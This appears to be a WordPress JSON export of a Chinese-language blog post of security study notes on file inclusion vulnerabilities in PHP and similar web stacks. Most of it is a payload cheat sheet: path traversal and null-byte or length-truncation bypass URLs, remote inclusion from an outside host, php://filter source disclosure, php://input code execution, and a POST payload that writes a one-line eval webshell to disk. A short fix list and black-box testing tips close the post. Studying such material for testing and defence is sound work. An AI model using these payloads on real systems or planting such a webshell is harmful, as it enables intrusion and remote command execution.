{"id":58,"date":"2026-05-29T16:35:13","date_gmt":"2026-05-29T08:35:13","guid":{"rendered":"https:\/\/pumpk1n.icu\/?p=58"},"modified":"2026-06-01T18:54:23","modified_gmt":"2026-06-01T10:54:23","slug":"%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab","status":"publish","type":"post","link":"https:\/\/pumpk1n.icu\/index.php\/2026\/05\/29\/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab\/","title":{"rendered":"\u6587\u4ef6\u5305\u542b"},"content":{"rendered":"

1.\u6587\u4ef6\u88ab\u89e3\u6790\uff0c\u5219\u662f\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\n2.\u663e\u793a\u6e90\u4ee3\u7801\uff0c\u5219\u662f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\n3.\u63d0\u793a\u6587\u4ef6\u4e0b\u8f7d\uff0c\u5219\u662f\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e<\/p>\n

\u6587\u4ef6\u5305\u542b\u5404\u4e2a\u811a\u672c\u4ee3\u7801<\/h1>\n

ASP,PHP,JSP,ASPX\u7b49<\/p>\n

<!-—#include file="1.asp " -->\n\n<!--#include file="top.aspx"-->\n\n<c:import url="http:\/\/lthief.one\/1.jsp">\n<jsp:include page="head .jsp" \/ >\n<%@ include file="head.jsp" %>\n\n<?php Include ( 'test.php ' ) ?><\/code><\/pre>\n
\u672c\u5730\u5305\u542b<\/h1>\n
\u65e0\u9650\u5236<\/h2>\n
\u76f4\u63a5\u8bfb\u53d6<\/p>\n
http:\/\/127.0.0.1:8080\/include.php?filename=1.txt\n\u6216\u8005\nhttp:\/\/127.0.0.1:8080\/include.php?filename=..\/..\/..\/www.txt<\/code><\/pre>\n
\u6709\u9650\u5236<\/h2>\n
%00\u9636\u6bb5\uff1a\u6761\u4ef6\uff1amagic_quotes_gpc = Off   php\u7248\u672c<5.3.4<\/p>\n
http:\/\/127.0.0.1:8080\/include.php?filename=..\/..\/..\/www.txt%00<\/code><\/pre>\n
\u957f\u5ea6\u622a\u65ad\uff1a\u6761\u4ef6\uff1awindows\uff0c\u70b9\u53f7\u9700\u8981\u957f\u4e8e256\uff1blinux\u957f\u4e8e4096<\/p>\n
http:\/\/127.0.0.1:8080\/include.php?filename=..\/..\/..\/www.txt.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/.\/<\/code><\/pre>\n
\u8fdc\u7a0b\u5305\u542b<\/h1>\n
allow_url_include=On \u8868\u793a\u53ef\u4ee5\u8fdc\u7a0b\u5305\u542b<\/p>\n
\u65e0\u9650\u5236<\/h2>\n
http:\/\/127.0.0.1:8080\/include.php?filename=http:\/\/www.xiaodi8.com\/readme.txt<\/code><\/pre>\n
\u6709\u9650\u5236<\/h2>\n
http:\/\/127.0.0.1:8080\/include.php?filename=http:\/\/www.xiaodi8.com\/readme.txt%20\nhttp:\/\/127.0.0.1:8080\/include.php?filename=http:\/\/www.xiaodi8.com\/readme.txt%23\nhttp:\/\/127.0.0.1:8080\/include.php?filename=http:\/\/www.xiaodi8.com\/readme.txt?<\/code><\/pre>\n
\u5404\u79cd\u534f\u8bae<\/h1>\n
\u53ef\u4ee5\u53c2\u8003<\/p>\n
https:\/\/www.cnblogs.com\/endust\/p\/11804767.html<\/code><\/pre>\n
    \n
  • file:\/\/\u00a0      - \u8bbf\u95ee\u672c\u5730\u6587\u4ef6\u7cfb\u7edf<\/li>\n
  • http:\/\/     - \u8bbf\u95ee HTTP(s) \u7f51\u5740<\/li>\n
  • ftp:\/\/       - \u8bbf\u95ee FTP(s) URLs<\/li>\n
  • php:\/\/     - \u8bbf\u95ee\u5404\u4e2a\u8f93\u5165\/\u8f93\u51fa\u6d41\uff08I\/O streams\uff09<\/li>\n
  • zlib:\/\/      -\u538b\u7f29\u6d41<\/li>\n
  • data:\/\/    - \u6570\u636e\uff08RFC 2397\uff09<\/li>\n
  • glob:\/\/    - \u67e5\u627e\u5339\u914d\u7684\u6587\u4ef6\u8def\u5f84\u6a21\u5f0f<\/li>\n
  • phar:\/\/    - PHP \u5f52\u6863<\/li>\n
  • ssh2:\/\/    - Secure Shell 2<\/li>\n
  • rar:\/\/       - RAR<\/li>\n
  • ogg:\/\/     - \u97f3\u9891\u6d41<\/li>\n
  • expect:\/\/ - \u5904\u7406\u4ea4\u4e92\u5f0f\u7684\u6d41<\/li>\n<\/ul>\n
    \u8bfb\u53d6\u6587\u4ef6\u6e90\u7801\u7528\u6cd5<\/p>\n
    php:\/\/filter\/read=convert.base64-encode\/resource=[\u6587\u4ef6\u540d]\nhttp:\/\/127.0.0.1\/include.php?file=php:\/\/filter\/read=convert.base64-encode\/resource=phpinfo.php<\/code><\/pre>\n
    \u6267\u884cphp\u4ee3\u7801\u7528\u6cd5<\/p>\n
    php:\/\/input + [POST DATA]\nhttp:\/\/127.0.0.1\/include.php?filename=php:\/\/input\n[POST DATA\u90e8\u5206]\n<?php phpinfo(); ?><\/code><\/pre>\n
    \u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c<\/p>\n
    http:\/\/127.0.0.1\/include.php?filename=php:\/\/input\n[POST DATA\u90e8\u5206]\n<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?><\/code><\/pre>\n
    \u4fee\u590d<\/h1>\n
      \n
    • \u56fa\u5b9a\u540e\u7f00<\/li>\n
    • \u56fa\u5b9a\u6587\u4ef6<\/li>\n
    • WAF\u4ea7\u54c1<\/li>\n<\/ul>\n
      \u9ed1\u76d2\u6d4b\u8bd5<\/h1>\n
      \u5148\u5c1d\u8bd5\u5927\u5c0f\u5199\nwindows\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff0clinux\u533a\u5206\u5927\u5c0f\u5199\n\u7136\u540e\u5c1d\u8bd5\u5404\u79cd\u534f\u8bae\u8fdb\u884c\u653b\u51fb<\/p>","protected":false},"excerpt":{"rendered":"
      1.\u6587\u4ef6\u88ab\u89e3\u6790\uff0c\u5219\u662f\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e 2.\u663e\u793a\u6e90\u4ee3\u7801\uff0c\u5219\u662f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e 3.\u63d0\u793a\u6587\u4ef6\u4e0b\u8f7d\uff0c\u5219\u662f\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e \u6587\u4ef6\u5305\u542b\u5404\u4e2a\u811a\u672c\u4ee3\u7801 AS …<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[6,13],"tags":[],"class_list":["post-58","post","type-post","status-publish","format-standard","hentry","category-owasp","category-13"],"_links":{"self":[{"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/posts\/58","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/comments?post=58"}],"version-history":[{"count":2,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/posts\/58\/revisions"}],"predecessor-version":[{"id":60,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/posts\/58\/revisions\/60"}],"wp:attachment":[{"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/media?parent=58"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/categories?post=58"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/tags?post=58"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}